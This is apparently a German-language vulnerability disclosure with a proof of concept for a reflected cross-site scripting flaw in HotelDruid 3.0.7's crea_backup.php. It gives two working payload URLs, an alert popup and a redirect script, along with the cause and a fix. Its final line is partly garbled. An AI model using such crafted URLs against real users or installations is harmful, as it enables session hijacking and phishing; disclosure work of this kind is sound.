
Proof-of-Concept für eine Reflektierte XSS-Sicherheitslücke für HotelDruid 3.0.7, das die Ausführung beliebigen JavaScript-Codes über den ripristina_backup-Parameter in crea_backup.php demonstriert.
Eine Cross-Site-Scripting-Schwachstelle in DigitalDruid HotelDruid v.3.0.7 ermöglicht es einem Angreifer, beliebigen Code auszuführen und vertrauliche Informationen über den Parameter ripristina_backup im Endpunkt crea_backup.php zu erlangen.
Ein Angreifer könnte einen authentifizierten Benutzer dazu verleiten, eine manipulierte URL zu besuchen, die dann bösartiges JavaScript in dessen Browser ausführt. Mögliche Folgen sind:
http://localhost/hoteldruid/crea_backup.php?anno=2025&id_sessione=<valid_session_id>&azione=SI&ripristina_backup=%22%3E%3CscrIpt%3Ealert%28%27Huy%20Vo%20Found%20This%20Vulnerability%27%29%3B%3C%2FscrIpt%3E&dati_conn=attuali&mantieni_anni=1
Ergebnis: Ein Popup-Alert mit der Meldung „Huy Vo Found This Vulnerability“ bestätigt die erfolgreiche XSS-Ausführung.
http://localhost/hoteldruid/crea_backup.php?anno=2025&id_sessione=<valid_session_id>&azione=SI&ripristina_backup="><scrIpt>window.location.href='https://www.facebook.com';</scrIpt>&dati_conn=attuali&mantieni_anni=1
Ergebnis: Der Browser leitet automatisch auf Facebook weiter.
HotelDruid ist ein Open-Source-Property-Management-System, das zur Verwaltung von Buchungen, Zimmern und Abrechnungen für Hotels, Pensionen und andere Beherbergungsbetriebe verwendet wird. Es ist webbasiert, wird typischerweise auf lokalen Servern installiert und über den Browser aufgerufen. Aufgrund seiner Weboberfläche und administrativen Natur ist eine starke Sicherheit entscheidend – insbesondere für authentifizierte Funktionen.
Der Endpunkt crea_backup.php verarbeitet den Parameter ripristina_backup ohne Bereinigung oder Kodierung und gibt die Benutzereingabe direkt auf der Seite wieder. Dadurch kann ein Angreifer eine bösartige URL erstellen, die beliebiges JavaScript in die für einen authentifizierten Benutzer gerenderte Seite einschleust.
ripristina_backupcrea_backup.phpid_sessione)ripristina_backup eingeschleust wird.htmlspecialchars() in PHP, um <- und >-Zeichen zu kodieren).